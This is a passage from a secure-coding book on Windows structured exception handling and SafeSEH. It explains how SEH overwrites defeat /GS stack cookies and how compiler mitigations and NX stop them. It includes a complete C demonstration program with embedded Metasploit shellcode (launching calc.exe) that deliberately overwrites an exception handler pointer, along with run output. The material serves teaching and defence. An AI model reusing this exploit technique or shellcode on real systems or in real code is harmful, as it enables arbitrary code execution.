SafeSEH


One of the most significant flaws in the original implementation of the /GS flag was found by David Litchfield. In any Windows application, there will be at least one, and possibly several, structured exception handlers (SEH). While we don’t have room for a thorough review of how exception handlers work and when you should be using them, SEH understand three keywords: __try, __except, and __finally. If you’d like to learn more about exception handlers, look up the “Structured Exception Handling” topic in MSDN, and one of the best explanations is in Jeffrey Richter’s Advanced Windows books. Any edition will do, although unfortunately, the books are currently out of print.

The __try keyword is almost exactly analogous to the C++ try keyword and declares that a block of code has an exception handler. The __except keyword declares a block that behaves similarly to a block declared with catch in C++. Unlike C++, you don’t catch thrown exceptions by type, but you can analyze the exception record to determine whether you’d like to handle the exception. You can choose to continue execution after the handler, do something to fix the problem and resume execution, or tell it to continue to search for an applicable exception handler. A __finally block is a way for a C program to behave very similarly to how a C++ application would use destructors. No matter how you exit the __try block, the __finally block is guaranteed to be executed.

We can’t say strongly enough that you need to be exceptionally careful when using SEH or C++ exception handling. We’ve both seen bad code along these lines:

 __try {     // We're not really sure if this will work     memcpy( dst, src, size ); } __except( EXCEPTION_EXECUTE_HANDLER ) {   // I guess something went wrong. Oh well, exceptions are kewl }

Do NOT do this in your code! This sort of code is a great way to get hacked, even if you are using the /SafeSEH flag. So let’s take a look at what can go wrong with SEH, and why it became a problem for the /GS flag. When an exception handler is registered for a block of code, an EXCEPTION_REGISTRATION structure is pushed onto the stack. The EXCEPTION_ REGISTRATION structure contains a pointer to the next EXCEPTION_REGISTRATION structure, and the address of the current exception handler. Although the amazingly clever Mr. Litchfield has written a 16-page document detailing it (Litchfield 2003), the problem is essentially that you have a function pointer sitting on the stack just waiting to get overwritten. If the attacker can overwrite the buffer far enough, the function pointer to the current exception handler gets overwritten with the address of the attacker’s choice. The only thing remaining is to cause an exception before the function exits normally. This problem is why attacks that write a very large amount of information outside of the buffer are frequently exploitable. Once the attacker provokes an exception, the exception handler is called, and because the function hasn’t returned, the security cookie isn’t checked, and we’re now running arbitrary code. Where some of the previously reported flaws in /GS depended on contrived code with multiple problems to bypass stack protection, this attack works regardless of the code internal to the function, as long as the overwrite extends far enough to hit the exception handler, or is an arbitrary DWORD overwrite, and if an exception can be caused prior to the function exiting normally. As mentioned in the previous section, the Visual Studio 2005 compiler treats calling an exception handler as if the function had exited (which is often the result of calling an exception handler) and checks the security cookie prior to executing the handler. While Litchfield’s attack is thwarted, an arbitrary DWORD written on top of an exception handler will still cause problems unless we use SafeSEH.

Here’s an application we can use to demonstrate both the problem and the various solutions:

 #define _CRT_SECURE_NO_DEPRECATE #include <windows.h> #include <stdio.h> win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com unsigned char scode[] = "\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46" "\x12\x29\x79\x83\xeb\xfc\xe2\xf4\xba\xfa\x6d\x79\x46\x12\xa2\x3c" "\x7a\x99\x55\x7c\x3e\x13\xc6\xf2\x09\x0a\xa2\x26\x66\x13\xc2\x30" "\xcd\x26\xa2\x78\xa8\x23\xe9\xe0\xea\x96\xe9\x0d\x41\xd3\xe3\x74" "\x47\xd0\xc2\x8d\x7d\x46\x0d\x7d\x33\xf7\xa2\x26\x62\x13\xc2\x1f" "\xcd\x1e\x62\xf2\x19\x0e\x28\x92\xcd\x0e\xa2\x78\xad\x9b\x75\x5d" "\x42\xd1\x18\xb9\x22\x99\x69\x49\xc3\xd2\x51\x75\xcd\x52\x25\xf2" "\x36\x0e\x84\xf2\x2e\x1a\xc2\x70\xcd\x92\x99\x79\x46\x12\xa2\x11" "\x7a\x4d\x18\x8f\x26\x44\xa0\x81\xc5\xd2\x52\x29\x2e\x6c\xf1\x9b" "\x35\x7a\xb1\x87\xcc\x1c\x7e\x86\xa1\x71\x48\x15\x25\x3c\x4c\x01" "\x23\x12\x29\x79"; char* pHeapShell; // Function to demonstrate overwriting a structured exception // handler. void foo( int elements ) {    char* ptr = NULL;    char buf[ 32 ];    int i;        // For loop to cause the overwrite.    // The value written into each byte is    // incremented to make it easier to determine where    // the exception handler address is located    for( i = 0; i < elements; i++ )    {       buf[i] = 0x20 + i;               // In this particular piece of code, the       // exception pointer starts at an offset of 0x30       // bytes from the start of the buffer       // Note – if this is compiled with a newer       // compiler, the offset might be different       // on my pre-release version, the test should be       // for buf[i] == 0x58       if( buf[i] == 0x50 )       {          DWORD* pdw = (DWORD*)( buf + i );          // To try and execute an exception handler          // that isn't on the heap, change this to:          // *pdw = (DWORD)scode;          *pdw = (DWORD)pHeapShell;          i += 3;       }    }        buf[elements] = 0;                printf( "%s\n", buf );                // The try-except block that we need to have an        // exception handler nearby. Note that if we didn't have        // a try-except or try-catch block of our own, there would        // an exception handler for the application        __try        {           // All of this is fairly silly code that prevents           // the compiler from optimizing the whole block away           if( buf[31] == '\0' )        {               ptr = buf;        }        *ptr = 'A';     }           // This __except statement swallows all exceptions           // Don't do this in your code           __except( EXCEPTION_EXECUTE_HANDLER )     {              printf( "Caught an exception!\n" );              return;     }  // This statement is needed for the ptr variable  // not to get optimized out     printf( "%s\n", ptr ); } int main(int argc, char* argv[]) {     // See just how far the user would like to     // overwrite the buffer...     int elements = atoi( argv[1] );     // Create a heap buffer to put the shell code into     pHeapShell = (char*)malloc( sizeof( scode ) );         if( pHeapShell != NULL )      {          // Copy the shell code into our buffer          memcpy( pHeapShell, scode, sizeof( scode ) );      } foo( elements ); printf( "Address of shell code is %p\n", scode ); if( pHeapShell != NULL )    free( pHeapShell ); return 0; }

This program makes no attempt to pretend to be an actual application someone might write intentionally, but which happens to make a few mistakes. Some of the errors shown here are unfortunately all too common–the most egregious example is that we’re taking user-supplied data and using it as a count. If we compile this application using Visual Studio .NET, using default settings and /GS enabled, we get several different behaviors. With a small count, the output will look like this:

 c:\ projects> SafeSehTest.exe 1 A Address of shell code is 00408040

Now let’s say we raise the count to be large enough to trip the exception handler within the try-except block:

 c:\ projects>SafeSehTest.exe 32 !"#$%&'()*+,-./0123456789:;<=>? Caught an exception!

This will be followed shortly by Windows Vista telling us that the application has a buffer overrun and cannot safely continue. So far, we haven’t given the application enough elements to overwrite the exception handler; let’s try a larger number:

 c:\ projects>SafeSehTest.exe 92 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMN¤î

We’re now looking at an extra instance of calc.exe running on the desktop. The shell code nicely called exit on the process once it ran. Note that we used EXITFUNC = process, not EXITFUNC = seh as in the previous example because if we continue to throw exceptions into a process with a corrupted exception handler, we’ll just keep recursively calling the shell code until the process overflows the stack–it runs out of room for the stack, not an overwrite condition. This will result in about 100 instances of calc.exe running–or attempting to run and failing–on the desktop. If we keep increasing the size of the overwrite, the application will cause an exception before it hits our contrived exception; it doesn’t print anything, but we do have calc.exe running.

To test how the changes in Visual Studio 2005 help protect things in this case, let’s modify the code a bit. First, get rid of the straightforward stack overwrite by commenting out the first line inside the for loop, and change the problem to a far more serious case where an arbitrary DWORD is written to the address of our choice. With this sort of attack, we’ll find that /GS won’t help us because the cookie isn’t tampered with. With the compiler used for this example, we find that the address of the exception handler pointer is located at buf + 0x38, not buf + 0x30, like it was in the version compiled with Visual Studio .NET. Note that we have two mitigations on by default: /GS and SafeSEH. We can also enable NX. If we enable only SafeSEH, we’re told that SafeSehTest.exe has stopped working. This is to be expected because the shell code isn’t a registered exception handler.

Now, restore the overwrite by enabling the first statement in the for loop, re-enable /GS, and disable SafeSEH. Now the app crashes, just as it did with only SafeSEH enabled. This is interesting, because /GS on the older compiler was unable to save us from this attack. The change we’re seeing is that if /GS is enabled, and we try to jump to an exception handler, the stack cookie is checked, and the clever attack noted by Mr. Litchfield is foiled.

For a third approach, disable SafeSEH and /GS, then enable NX. If we try the code in this case, we find that the attack is foiled again. It’s interesting how three different sets of protections will each individually stop the original attack. Even with the far more dangerous arbitrary 4-byte overwrite, two of the three protections will take effect to prevent an attack against the exception handler. Please note that we’re not claiming arbitrary 4-byte overwrites are no longer dangerous–just those that are only able to overwrite one exception handler pointer. Even with all these countermeasures in place, an arbitrary 4-byte overrun is considered very dangerous and presumed exploitable.

If compiling 64-bit code, the exception records are compiled into the binary and aren’t kept on the stack, which makes 64-bit executables much safer–at least from SEH attacks.



Writing Secure Code for Windows Vista
Writing Secure Code for Windows Vista (Best Practices (Microsoft))
ISBN: 0735623937
EAN: 2147483647
Year: 2004
Pages: 122

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net